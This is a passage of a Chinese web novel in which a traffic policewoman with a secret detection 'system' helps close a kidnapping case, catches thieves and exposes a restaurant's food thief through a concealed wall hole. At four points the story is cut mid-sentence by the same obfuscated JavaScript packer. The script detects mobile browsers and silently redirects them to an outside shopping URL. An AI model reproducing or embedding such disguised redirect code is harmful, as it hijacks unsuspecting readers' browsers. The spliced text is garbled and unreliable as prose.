“当时我很生气，就下车拿行李，想要拿手机叫网约车。李林杰下车阻止我，然后把我打晕了……” “醒过来的时候，我已经被关在车尾箱里面了。我想办法踢歪了车尾灯，希望有人留意到这辆车，可惜没有人截停车子……” “李林杰把我带到老工业园的工作室，把我关了起来。他强迫我……还对我拳打脚踢……他说如果我不听他的话，就不给我吃喝，永远不放我出去……” “开始的两天，他都是要去上班才离开，第三、第四天不知道为什么，他居然没有出现。我为了节约体力，断断续续的睡，后来渴醒了，一直没有人来……当我有点神志不清的时候，你们出现了。” 周丽鸣一口气说完她所知道的事，感觉嗓子又有点发哑，拿起杯子喝了几口温水。 周立言等周丽鸣缓了一口气，然后问：“周小姐，你还记得，那个荒郊野外，大概在什么地方吗？” 周丽鸣想了一下，说：“是机场附近的一个树林，我记得不远处有个加油站……他当时好像把我行李箱丢在树林里了。” 周立言在本子上记下了关键词，然后又问：“那个小仓库，是你的工作室？你租下来的？” 周丽鸣点点头又摇摇头，说：“那个地方是他介绍的，之前我朋友租下来了，后来转让给我。那边很安静，我用来当闭关的工作室。” 侯远山喃喃自语：“怪不得一开始没查到这个地方……” 周丽鸣也感觉很后怕，她以前觉得那边安静，不容易被打扰……那几天她被关在里面，李林杰离开的时候都会用胶带封住她的嘴巴，绑住她的手脚。她偶尔听到附近有人经过，怎么发出声音，都没引来别人的注意……一直被关在黑暗里，太可怕了…… 周丽鸣忍不住又用力地抱了抱程昭，“谢谢你们救了我。” ………… 收集完受害人证词，周立言带着程昭、侯远山回到警局。 周立言联系机场附近的派出所，找到了受害人说的树林和她的行李箱。 侯远山也联系了老工业园，拿到了小仓库的租赁记录。 然后众人把受害人证词、犯人口供、现场证据交叉匹配，核实了证词口供。 案件查清了，周立言就准备写报告，转移案件给检察院定罪。 不过写报告之前，他先开车送了程昭回南城区的交通分局。 “谢谢你送我回来。”程昭笑着看向周立言。 周立言笑着说：“不用客气，神探小姐。今晚我们庆功聚餐，我下班来接你？” 程昭小脸微红，神探小姐什么，有点不好意思，但是周队说得太好听啦！ 她挠挠头，“可以吗？你们聚餐，我也一起吗？” “当然了，你是大功臣。你今晚有其他安排吗？” 程昭摇摇头，“没有。” “那我差不多时间就来接你，到时候给你电话？” “好。” 约定好了聚餐，程昭回到办公室。 庞达早就听说案件已经查清楚了，程昭在里面帮了大忙。不过他还是想再听程昭说一遍。 刚好今天工作已经做得差不多了，办公室的人都围了过来，听程昭讲案件经过。 程昭也不负众望，把事情的经过，讲得曲折离奇跌宕起伏。 听到受害人可能两天没喝水，大家都担心她的安危；听到犯人从死口不认到放弃抵抗，大家的心情由生气变成暗爽；听到受害人讲述自己的遭遇，大家都十分同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13672074|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情受害人，都想去唾骂犯人…… “程昭，你真厉害啊，没想到你推断这么准！”同事们纷纷夸奖道。 连看不惯程昭的老王，也一脸不好意思地过来了和程昭道歉：“之前是我有眼不识泰山了，还在同事之间说你的坏话。实在是对不起。” 程昭挠挠头，“没事，我当时的推测，确实没有什么可靠的依据。不过，以后你别再这样说我啦，我没有想要抢出风头的意思。” 老王脸上微红，连连点头，“我明白的，以后不会了。” ………… 下班的时候，周队如约而至，带上程昭和刑事三队的同事，一起去吃饭。 聚餐地点定在了一个挺有名的酒楼，平时饭点都要排队拿号，人气很旺。周队提前打电话预留了房间。 菜品味道不错，名副其实，大家都吃得很开心。 侯远山笑着说：“周队，你太豪爽太大气了，这顿不便宜吧！别让我们把你的工资都吃完了呀。” 周立言摇摇头，笑着说：“放心，吃不穷我……这顿饭之所以选贵一点的饭店，一来是因为大家最近比较辛苦，短时间内解决了好几个案件，破案率也提高了不少。二来，是因为之前新风小区的案件，程昭也帮了大忙，我欠了她一顿饭。再加上这次的案件，所以这次才吃贵一点的。下次咱们聚餐，就回归茶餐厅大排档了。” 乔良点头，“确实，我们最近好几个案件，破案时间都比预料的快很多。程昭帮了不少忙。” 陈丰扬声说：“程昭，你应该来做刑警的，做交警太浪费你的第六感了！” 孙泽林也点头说：“就是啊，之前我还怀疑你的推测，没想到你都说中了。” 侯远山笑嘻嘻地问：“以后我们遇到麻烦的案件，可以再找程昭来支援吗？” 程昭不好意思地挠挠头，“我是很乐意帮忙看看问题啦，不过我也不一定什么都帮得上忙。” 周立言嘴角微扬，“程昭确实很敏锐，而且旁观者清，有人帮忙打开思路，当然是很好的。下次遇到解不开的难题，我会酌情考虑借程警官过来帮忙。不过我们也要尽量努力才行。” “那是必须的。” “当然不会事事靠别人了，我们也是要面子！” 一顿饭下来，宾主尽欢。程昭和几位刑警都熟络了不少，纷纷交换了联系方式。 ………… 过了一段时间，李林杰的判决结果出来了。 因为他故意拖延警方寻找受害人，令受害人差点脱水而亡，所以按杀人未遂来定罪。 虽然李林杰后续可能会上诉，不过周丽鸣一家知道他会受到应得的惩罚，就很满足了。 周丽鸣一家还给程昭、周立言他们订制了两面锦旗，送到了他们各自的单位。 庞达看到锦旗十分开心，还和程昭承诺说，他会给她申请奖金。 没想到，帮忙破案还有奖金可以拿！ 程昭感觉，自己的事业之心变得无比火热！好的，她对收集案件、解决案件更有动力了！ 小钱钱，快进她的账户里吧～ 23. 盗贼克星 车尾灯事件--周丽鸣绑架案，算是程昭第一次比较正式地参与查案。 她发现她确实是很喜欢解决案子、帮助受害人的感觉。这可能也和她上一世被跟踪狂杀害有点关系，她特别容易和受害人共情，因为她切身体会过那种无助的痛苦。帮助了受害人，感觉好像也帮助了以前的自己一样。 这让她很有成就感，甚至有种幸福感。 她现在更想成为一名刑警了。 不过，想要调岗，可没有那么容易。她只能尽量找机会去接触一些案件，显露一下自己对侦查破案的能力（金手指），争取得到警局大佬们的赏识。 平时没遇到案子，就老老实实地做好交警的工作。她还计划利用闲暇时间，自学一些相关的知识，还有锻炼身体，不让体能拖后腿。 最近工作不太忙，加班不多，程昭便开始她的运动计划。 首先，第一个训练项目--跑步。 因为最近晚上都没有安排程昭工作，所以吃完晚饭半个钟之后，程昭就到小区楼下附近夜跑。 都说黑暗是罪恶的温床，程昭刚开始跑的第一个星期，居然触发了两个盗窃事件。 第一个盗窃事件，是路过一片空地，一些大爷大妈们跳广场舞，有一个放在椅子的包包被人拿走了。她们发现东西不见的时候，程昭刚好路过。 因为触发了事件收集，程昭通过信息关联表，很快就识别出了偷拿包包的人--那个人拿着包溜走的时候，刚好被程昭遇到了…… 程昭带着失主一行人找到了小偷，因为包包还在他身上，想抵赖都不行，最后被派出所的警察带走了。 第二个盗窃事件，是程昭跑步路过一个独栋的房子时，触发的事件。 当时屋子里没开灯，但是隐隐约约有声音传出，本来程昭没留意的，是系统小五提醒，她才发现刚刚经过的房子有事件发生。 因为不清楚屋子里的情况，程昭也不敢单枪匹马地进去，她就立马报了警，然后在屋子旁边观察。 幸好附近刚好有警察在巡逻，所以来得很快，里面的小偷刚准备走人的时候，被捉了个正着。 连外面帮忙放风的人，也被系统识别出来了，程昭就偷偷告诉警察。 警察过去一诈，放风的人就露馅了。最后两个小偷一个放风的，一行人都被捉住了。 没想到居然有三个人，幸好她没莽撞。 出警的警察里面，刚好有人听说过早两天广场舞大妈的丢包案件，知道程昭的名字。他发现这次盗窃事件，也是程昭发现的，不由得十分惊叹。 “程小姐，多亏有你，及时发现了这伙小偷，不然我们想捉到他们可不容易。” “他们是一群惯犯，我们已经留意到他们一段时间了，但是一直没捉到人。这次巡逻也是为了预防盗窃发生。” 程昭笑着说：“我也是刚好经过，可以帮上忙是我的荣幸。” 警察和程昭道谢完，就带走了小偷。 因为程昭接二连三的，捉住了小偷，最近小区附近的治安好了很多，不少小偷转移了阵地。不过这是后话了。 事后，派出所的警察也把程昭的名字，写到报告里面，派出所的领导还和庞达说了这件事，表扬了程昭。 庞达听到自己的队员又帮了忙，也感觉脸上有光。他又多给程昭申请了一些奖金。 等奖金发到程昭的手里，她才知道因为盗窃案，庞达给她追加了奖励。 这笔奖金差不多六千块，不多也不少，反正是意外之财，程昭已经很满足了。 等妹妹程露周末回家，刚好这天程昭也休息，程昭就带着妹妹，去吃她们之前都想去试的一家新开的西餐厅。 程露跟着姐姐出去，到了地点才知道是之前一直想去的餐厅，高兴之余又有点担心。 坐下来点餐的时候，程露忍不住问：“姐姐，这个店会不会太贵了？” “没事，姐姐拿到了一笔奖金……”程昭和程露分享了最近她帮忙解决的事件，程露才知道姐姐最近捉了小偷，还救了人。 程露听得嘴巴都“O”起来了，“姐，你好厉害啊！你居然看一眼就发现问题，好像雷达探测器一样！” “哈哈哈，过奖了过奖了……”被妹妹说中了，系统可不就是雷达探测器那样吗。 一个餐厅经理站在程昭她们桌子附近，刚好听到了程昭姐妹的谈话。他面露犹豫，好像想要说什么。当程昭她们吃饱喝足，准备召唤服务员过来买单离开的时候，餐厅经理终于忍不住过来，“两位小姐，不好意思，我刚刚不小心听到你们说案件的事……请问你们是侦探吗？” 程昭挠挠头，没想到她们聊天居然被人听到了，不过这个餐厅经理看起来不像是坏人，好像有什么事情想要找她们帮忙。 于是她点点头，说：“算是吧，不过是业余的，请问有什么事吗？” 餐厅经理点点头，微微俯身，对着她们说：“是的，餐厅最近有点怪事，我们最近下班之后盘点物料，经常发现少了一些东西。少的东西一开始是一些熟食，例如提前做好的肉冻、炖肉。后来少了一些比较贵的食材，大虾牛排之类的……断断续续地发生了好多回，差不多一个月了。” 程露好奇地问：“你们查监控了吗？有报警吗？” 经理点点头说：“我们查了，但是查监控也没有看到是谁偷的。我们也报过警了，派出所的人来看了两次，但是没有什么发现。” 程昭查看了一下系统，事件界面显示了新事件--“西餐厅失窃事件”。事件概述和信息关联表显示的内容，都是经理说的那些。 程昭想了一下，问：“会不会是自然损耗的？或者会不会是你们店里的人做的？” 经理摇摇头，苦笑道：“我们有自然损耗的份额，坏了的材料只要登记了，不会有什么处罚。所以不会有人隐瞒这种事。而且少的东西，比我们以往报损的数量多很多……” “我们一开始也怀疑过，是不是有内鬼监守自盗，拿店里的东西回家了。但是盘查了几回，没有任何发现，搞得店里的人都有怨言了。” 经理停顿了一下，尴尬地笑了笑，“我本来打算去找私家侦探，帮忙调查店里的失窃事件。刚才你们谈话的时候，我刚好听到一些，就想拜托你们帮忙调查看看。如果你们答应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687506|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帮忙调查，你们今天的账单不用付款了，算是定金。如果找到了失窃原因，事后我们再支付您一笔调查费用。您看这样可以吗？” 虽然被偷听谈话感觉有点不好，但是经理这样郑重其事地委托，程昭就没有说什么，点头答应了先帮忙看看。 程露第一次旁观姐姐查案，感觉十分新奇。她也已经吃好了，就跟着程昭和餐厅经理一起，到处查看餐厅。 程昭观察餐厅的布局，餐厅门口和大堂都有监控覆盖。工作区域的监控就少一些，只有厨房和后门走廊有监控。 经理说：“我们店里的上班时间是早上九点半到晚上十点半，没有留人值夜。丢东西的那几天，我们的门窗都是锁得好好的。” 程昭看完了监控摄像头的位置，看向经理，问：“失窃的东西都是食材吗？你们有被偷其他财物吗？” 经理点头，“是的，只有食物。我们店里夜晚留的现金很少，而且都上锁了的。” 程昭微微点头，她查看了一下系统的信息关联表，上面显示发光的信息，目前有： “店里熟食、贵价食材被偷”、 “餐厅的摄像头，工作区域分布较少”、 “店里夜晚留的现金不多，而且有上锁”、 “在职的人员排查过，没有嫌疑”、 “店里夜晚没有人值夜，门窗上锁”…… 犯人偷东西，一般都会奔着金钱或者贵重物品。但是这个犯人频繁光顾这个餐厅，而且没有去翻收银台，感觉很奇怪。 店里的收银台在餐厅大堂门口附近，那边是有监控的，而且上锁了。难道犯人知道那边有监控，而且没有多少钱，所以放弃了？ 但是厨房也有监控，只是没拍到犯人……难道ta对这个餐厅很熟悉，知道哪里可以避开监控？ 带着疑问，程昭让经理先带她们去监控室，看之前的监控。 看回放的时候，程昭发现监控室的监控视频，只有前十四天的，再往前的就没有了。 而且，厨房的监控只拍到了三分之二的厨房。 程昭也不懂摄像头的安装，但是按她门外汉的想法，如果镜头左移一点点，拍到的范围会更多，这样就可以拍到储物室门口了。 程昭思考着，然后又看了一下系统，发现“厨房摄像头偏移向一边”，也显示了发光标志。 程昭问：“经理，请问这个厨房的摄像头，是一开始就这个角度的吗？你们最近有移动过它吗？” “偏移了吗？我去找找几个月前的监控视频看看……”经理被程昭提醒，连忙去查历史记录。 经理发现，后厨的摄像头确实有被移动过，之前是可以拍到储物室门口的，现在的拍不到。 “真的被移动过，在两个月前，大扫除的时候，被杆子弄歪了。”经理脸上略带不满，“他们怎么搞的，弄偏了一边，也不移回来！如果摄像头没歪，我们就可以拍到小偷了。” 巧合有点多了，感觉小偷很熟悉这个餐厅的布局和情况。虽然在职的人排查过了，那会不会是之前被辞退的人呢？ 而且门窗都是锁上的，ta又是怎么进来的呢？ 24. 掌印和墙洞 巧合太多就不是巧合了，程昭怀疑小偷可能是在餐厅工作过的人。 不过，对于ta是怎么进入餐厅盗窃的，这个问题还没有搞清楚。 目前的信息收集，还是不够多，事情的全貌看不清。 所以，程昭决定，晚一点再核对全部的员工表。毕竟，虽然系统可能可以触发显示谁是犯人，但是她无凭无据的，不好指出嫌疑人。 程昭想了一下，对经理说：“经理先生，可以麻烦你带我们去看看失窃的地点吗？” “当然，整个餐厅你们都可以查看。”经理带着程昭姐妹去了后厨和后厨旁边的储物室。 后厨很大，是一个长方形的形状，有三个门，两个门连着走廊过道，一个门连着储物室。 储物室有两个门，一个连着厨房，一个连着走廊。厨房和储物室是并排的，一面墙的外面，就是室外了。 厨房有摄像头，不过摄像头歪向了靠近走廊那边的方向，厨房靠近室外的一些区域，和通往储物室门口的区域，没有纳入监控范围内。 电视剧里面，经常演的，就是人从天花板的中央空调管道爬进来。 所以程昭也第一时间查看天花板，还让经理帮忙找了个梯子，爬上去查看，但是没有什么发现。 通道里面很多灰尘，看起来不像是近期有人爬过的样子。 暂时排除了天花板进入厨房的可能，程昭就到处扫视，一边自己观察，推测可能是潜入方法，一边留意系统的信息关联表，查看更新的相关线索。 突然厨房靠近室外的那边墙角，有个储物柜被更新到关联表里面。程昭走过去查看，发现储物柜门旁边，有半个几乎看不见的手掌印，指尖的方向不是向着柜子，而是向着厨房。 这个手掌印的方向……难道是有人从柜子里面，爬进厨房？ 系统的信息关联表也显示了这半个手掌印，肯定了程昭的猜测。 程昭看向经理，问：“这个柜子里面装的是什么，平时会上锁吗？可以打开吗？” 经理帮程昭打开了柜子，说：“这个柜子里面装的是备用的铁锅汤锅，我们平时不会上锁的。” 柜子里面有两层，都放着铁锅。不过中间的隔板，程昭研究了一下，发现是可以拿出来的。 隔板拿出来之后，可以看到，背面也有一些模糊的掌印。看来有人经常拿开这个隔板。 把柜子里面的锅拿开之后，程昭钻进去，发现柜子里面的板子，是可以活动的。 挪开板子到一边，里面阔然出现一个半米左右的墙洞。墙洞的另一边被铁板之类的东西挡住。外面巷子的阳光从墙洞的边缘，隐隐约约地透了进来。 “嘶！这个柜子、这个墙洞！这究竟是怎么回事？”经理震惊了，他万万没想到厨房的收纳柜，里面居然有一个墙洞。 经理没等程昭开口，率先走到餐厅外面，在厨房外墙上，找到了遮挡墙洞的板子--一块外墙的装饰板。 餐厅的外墙，装修成老红砖墙壁的样式，那一片片的红砖，其实是一块块大片的装饰板拼合而成的。 但是其他的装饰板子都固定得很结实，唯独墙洞这块，固定的钉子被人弄松了。 但是因为板子旁边还有几个垃圾桶之类的东西顶着，如果不挪开，直接看根本看不出来。 “天啊，难道这个漏洞，是装修时候就留下的？”经理感觉十分头秃，这么大一个漏子，居然没有人上报吗！ 程昭也跟着出来看了外墙，然后通过系统帮忙，发现了外墙装饰板、垃圾桶上面，还有残留着部分犯人手印。 从外面看这个洞，好像看起来更大了……程昭瞄了一眼一脸黑线的经理，感觉他正在酝酿一场暴风雨。 不过现在不是发呆的时候，嫌疑人还没有确定呢。 程昭忍不住先打断经理的震惊状态，“经理，可以给我看看你们的历史员工表吗？我想了解一下，有没有什么人是已经离职，而且以前负责过装修这块的。” 经理如梦初醒地反应过来，“对，对，应该先确认一下小偷身份……办公室里面有名单，这边请。” 一行人来到办公室，经理从电脑里面找到了历史员工记录。 这家西餐厅虽然是新开的，但是实际上归属的公司有总店分店在其他地方，已经经营了很多年。这个新店有不少工作是老员工经手的。 经理按程昭的提示，筛选了条件，查询已经离职，而且负责过装修工程的人。 这样一筛选，剩下的人就只有四个了。程昭一边看表格，一边留意系统的信息关联表。果然，一个名字更新到了报告里面，显示发光标识。 李炳春，XX年入职，XX年离职，工程部主管。 看来，犯人就是他了。但是要怎么把调查方向指向这个人呢？ 程昭想了一下，干脆让经理帮忙介绍一下筛选列表里剩下的人的个人情况，反正就几个人，不会花很多时间。 经理在这个餐厅工作得比较久，这些人，他刚好都知道。于是他按顺序一个个的讲，很快就讲到了这个李炳春。 “……李炳春，老李之前在我们公司工作了八年了。他年轻一些的时候，还做过工地的包工头。几个月前离职，和朋友开公司做生意去了。不过最近两个月有回来过一两次，找我们叙旧。他挺有钱的，应该不是他……” 等经理讲完列表的几个人的个人情况，程昭摸着下巴思考了一下，然后问：“这个李炳春，上次你们看到他的时候，有没有觉得他有什么变化？” 被程昭突然这么一问，经理有点摸不着头脑，他极力回忆了一下，突然想起一个小细节，“对了，他当时没戴他那块金表，我还随口问了一句……他说表带坏了，拿去修了。” 这么一回想，经理也想起了更多可疑的细节，“当时老李的衣服，好像也比较旧了……我当时还以为他学小年轻，穿什么复古风衣服……他当时也有进来餐厅工作区域，来看过厨房……” 程昭若有所思地点点头，继续引导，“那他的经济状况可能出问题了……他有问过你们借钱，或者他有问能不能回来工作吗？” 经理猛的一拍大腿，说：“哎！还真有！他问我，公司他那个空缺补上了没，还说有点怀念在公司的日子……但是他那个岗位早就补上人了，他就没有再说什么。” 程昭轻轻点头，然后提议说：“储物柜里面，还有外面垃圾桶、装饰板上面，都留着手印，警方应该可以提取指纹。要不要先报警再对质？” 经理犹豫了一会，皱着眉摇摇头，说：“我先打电话叫老李过来对质吧，看看他的反应。” 经理打通了老李的电话，问老李能不能过来餐厅一趟。 对面好像犹豫了一下，然后很快答应过来了。 挂了电话，虽然经理没在电话提偷东西的事，但是从老李刚刚的反应来看，经理觉得十有八九就是他了。 十几分钟之后，老李到了。看员工资料，他应该还没有到五十岁，但是看起来有点沧桑憔悴。衣服是旧旧的，什么装饰品都没有，看起来有点老态。 除了刚进来的时候打招呼，老李进来之后就一脸忐忑不安，一言不发。 经理叹了一口气，说：“老李，你老实和我说，厨房那个洞，是不是你弄的？最近你是不是进来偷东西了？” “你们果然发现了，”老李苦笑着摇摇头，又点点头，“厨房那个洞，是之前工程遗留的问题……” “当时工人不小心砸破了一小块墙，因为这个洞可以用来传输材料，就没有马上补上。后来大家装柜子和外墙，不知道怎么的，居然都忘了补墙洞。因为开业活动已经在筹备了，知道这个洞的人怕背锅，都假装没有这回事了。” 经理摆摆手，先跳过墙洞的问题，继续追问：“那食材呢？是不是你潜进来偷东西了？” 老李一脸羞愧，红着脸低头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13699811|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，“对不起，是我偷的……” 经理有点恨铁不成钢，“你啊你，怎么这么糊涂呢！你有什么难处，不能直接开口说的吗？我们这么多年老同事老朋友……” 老李羞愧地摇摇头，说：“因为实在是太丢人了……我不好意思开口……” 老李停下来，组织了一下语言，说：“都怪我自己识人不清，又太贪心。之前拉我一起做生意的，没想到其实是个骗局，把我的老本都骗走了，我还借了贷……” “后来我报案了，但是没有用，人早就跑了，钱也没有了。我东西都拿出去变卖了，勉强填补了借钱的窟窿……” “我这个年纪，找工作也不好找，本来想问问能不能回来工作的，但是岗位已经有人了……我在外面打了一些兼职短工，但是很不稳定。手头紧的时候，我就偷偷进来拿了一些食材，一些自己吃了，一些拿去变卖了……” “求求你们不要报警捉我，我会努力还债赔偿损失的……” 经理百感交集地叹了一口气，谁能想到，几个月前的有钱老同事，会突然变得如此落魄呢…… 经理站起身，说：“我先打个电话，问问老板的意思。失陪一下。” 经理出去了，留下程昭姐妹和老李在办公室。 程昭看到老李提及的诈骗案，系统也触发了收集，于是就和他谈论这个案子。 老李看到程昭她们全程陪同经理，和他谈盗窃的事，以为她是经理的亲信。 既然程昭想知道诈骗案的事，老李觉得没有什么好隐瞒的，于是一五一十地和程昭说了他知道的事。 骗他钱的人叫马胜，他说他认识一个A国投资公司，说准备在C市F市投资一个大项目，利润丰厚。他做的局看起来太真了，还带老李去见了一个韩经理，这个韩经理看起来十分有实力……老李没抵住诱惑上当了。 A国投资公司？还有C市F市、韩……这些要素，程昭感觉莫名地耳熟，她仔细回想了一下，又看了一下系统的信息。 --！这不是韩高煊（龙傲天）当初，车祸案之后，去过的地方吗！？ 果然，系统也马上更新了诈骗案的关联信息，韩高煊也和案件有关联。 这时，经理回来了，程昭只好先不去想龙傲天的事。 经理板着脸，但是眼里带着笑意，说：“老板说了，老李你可以回来工作，将功赎罪，以工抵债。原来的岗位是不能给你了，但是会给你安排适当的位置。” 老李眼睛一下子就红了，立马千恩万谢，感恩戴德的，大拍胸口打包票说自己一定会老老实实认真干。 经理拍了拍老李的肩膀，然后又对程昭说：“程小姐，非常感谢你这次的帮忙，不然我们也不知道店里还有这样的漏洞。” 然后经理拿出了一个信封，说：“这里是三千块钱，我们说好的尾款，不是很多，请不要嫌弃。” 这个世界交警好像没有说不能打兼职……程昭犹豫不决，推辞了一下，但是经理很诚恳地劝说她，最后她就收下了这笔钱。 老李这才知道，程昭是临时帮忙查案的兼职侦探。 经理给老李讲了一遍，她们的侦查经过。 老李啧啧称奇，没想到半个模糊的掌印，就曝光了墙洞的秘密，“神探啊，后生可畏！” 妹妹程露也一脸崇拜地看着程昭，听到经理和老李的夸奖，也跟着连连点头。 程昭挠挠头，有点不好意思地收下了大家都夸赞。 临走的时候，程昭和老李确认了诈骗案的负责警官。她打算之后找个机会，把韩高煊的身份，透露给诈骗案的警官。 反正之前车祸案，周立言他们有韩高煊的录像画像，也追查到了他的踪迹。两边案子互通信息，就可以确定诈骗案里面有他的参与了。 可以给龙傲天找不愉快的机会，程昭当然不会错过了。而且这事也不是什么污蔑，他自己做过的事，就不能责怪警方查到他。 25. 盗窃团伙影踪再现 程昭带着妹妹离开西餐厅，时间还早，直接回家的话，有点浪费了难得的休息日。 程昭在周六周日有时候需要值班，经常和妹妹错开了休息日。这次休息日难得和妹妹的放假时间重合，当然不能太早回家了。 而且，今天午餐的钱省下来了，还意外得到了一笔外快，那就干脆继续去吃喝玩乐一下好了。 于是程昭提议，问妹妹要不要去逛街购物看电影。 对于姐姐的建议，程露当然双手赞成。作为一个高中住宿生，周末可以出去玩，就是难得的放松了。 两人商量了一下，然后决定去看一场最近新上映的外国制作的商业大片。因为周末比较多人去看电影，程昭只能选晚餐时间段的场次。 离电影开场还有两三个小时，程昭就带妹妹一起去买衣服。 “哇，今天又大餐又电影又买衣服，太快乐了！”程露开心得蹦起来了。 程露是个很善良体贴的妹子。虽然家里有一些积蓄，不过她总担心姐姐赚钱压力大，所以她日常的花销，比同龄人的少很多。 这些程昭都看在眼里，记在心里。所以当她拿到奖金，就想带程露出来玩。 看到程露都要开心得跳起来了，程昭笑着摇摇头，“虽然现在天天穿校服，但是你的衣服挺久没买新的了，你看着选三套吧。” “这么多！谢谢姐姐，那我先去试衣服了。”程露兴高采烈地选衣服去了。 程昭坐在休息椅，先给周立言发了个信息：“周队，有奖竞猜～你猜我今天发现了什么？” 没多久，周立言回复了信息：“？发现了好吃的牛排？” 程昭有点惊讶：“咦？你怎么知道我今天去吃牛排了？” 周立言发了个截图，是程昭在朋友圈发的美食照。然后他又发信息：“你不是发了朋友圈吗？” 程昭：“……周队，你不是不玩朋友圈的吗？你什么都没有发过！” 周立言：“我不发，但是会看你们发的。” 然后周立言又发了一个“潜水”的表情包。 ……周队的严肃形象，在程昭心里再一次摇摇欲坠。 程昭偷笑了一下，然后转入正题：“哈哈哈，不过我不是想说吃的……我今天吃饭，帮餐厅解决了一个问题，还遇到了一个叫李炳春的人。他之前被诈骗了，骗局里面有个韩经理，我怀疑这个韩经理就是之前车祸案的韩高煊。李炳春说，负责调查诈骗案的警官是市局的陈文。” 周立言：“好的，我迟些去找陈警官，看看是不是同一个人。” 程昭微微挑眉，周立言怎么不问问她为什么会觉得他们是同一个人啊？ 程昭：“……周队，你怎么不问问我，为什么会觉得他们是同一个人啊？” 周立言：“这个还用问吗？我相信你的判断。” 得到肯定，程昭有点开心，发了个“开心转圈圈”的表情包。 然后她补充说：“我是从李炳春说的几个城市，联想到一起的。李炳春见过那个韩经理，听他描述，感觉很可能是同一个人……不过具体还需要你们去看看。” 周立言：“好的，我会和陈警官核对信息的……你休息日就好好出去玩吧，不用经常想着案子的事，要劳逸结合。” 程昭：“好的，收到～” 程昭放下手机，刚好妹妹挑选完衣服回来了。 程露一边拿着几件衣服，一边向程昭招手，笑着说：“姐姐，我看到这两件衣服好像很适合你，你要不要试试？” “好啊。”程昭笑着走过去。 难得休息日，案子就先放一放吧。 ………… 买完东西，看完电影，程昭程露回到家都快十点了。 “嘶，今天可能走了一万步了，脚都有点酸了。”程昭瘫在沙发上，懒洋洋的，有点不想动了。“感觉比夜跑还累。” 程露也瘫在另一边沙发上，有气无力地说：“逛街买东西的时候，我完全不觉得累呢……但是一回到家，感觉身体就没电了。” 程昭深有同感地点点头。 程露在沙发上蠕动了几下，忽然又想起了，今天程昭在餐厅，快速破解食材失窃的事。她翻过身，对程昭说：“姐，你今天真的太厉害了！我以前都不知道你推理这么厉害！” 程昭挠挠头，“嗯，我也是凑巧发现了一些痕迹……最近对推理挺感兴趣的，看了几本痕迹学心理学的书，可能比较有帮助吧。” “怪不得……但是姐姐你真的太厉害了，一学就会，我在旁边什么都没有看出来……”程露一脸赞叹，继续输出彩虹屁。 看着妹妹一脸崇拜，深信不疑的样子，感觉是糊弄过去了，程昭松了一口气。 程露忽然想起了一件事，然后略带犹豫地看向程昭，“姐，有个事情，你能不能帮我们查查看？” 程昭好奇地问：“嗯？什么事？” 程露坐了起来，整理了一下语言，皱着眉说：“是这样的，我和几个同学，做志愿者，帮忙救助流浪猫……之前在芳湖小区，我们本来计划某天去诱捕流浪猫做绝育，但是期间小区里面发生了一些怪事。后来小区里面，常驻的几只小猫小狗都不见了。” 程昭也坐起身来，好奇地问：“发生了什么怪事？” 程露一脸不虞地抱着抱枕，略带气愤地说：“就是有几个熊孩子，和一些陌生人在小区里面乱放烟花爆竹。小区里面的小猫小狗被吓跑之后，就没出现了。” 烟花爆竹？这个手法听起来有点耳熟，好像是收养小橘的时候，雪球主人李茹触发的那个事件？程昭查看系统的案件，找到了之前触发的“神秘团伙偷盗事件”。 当时，李茹回忆雪球走丢的经过，提到了有一伙人进入了御景花园小区，乱放烟花爆竹，制造骚乱。事后，小区发生了几个入室行窃案件。 “神秘团伙偷盗事件”的事件概述内容模糊不清，之前只写了有一群人制造混乱，进行偷盗，其他未知。现在案件更新了，概述内容多了一些，写了曾到地点：御景花园小区、芳湖小区，还写了下落不明的小区猫狗。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13707584|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信息关联表显示：“小混混制造混乱”、“雪球项圈被剪”、“小区猫狗失踪”、“事后小区频繁被盗”。 看来，两个小区的混乱，都是出自这个团伙之手。而且混乱之后，都有猫狗失踪……难道，这伙人，不仅到处偷东西，还偷猫狗？雪球当时定位项圈被破坏，也是因为被他们偷走了？ 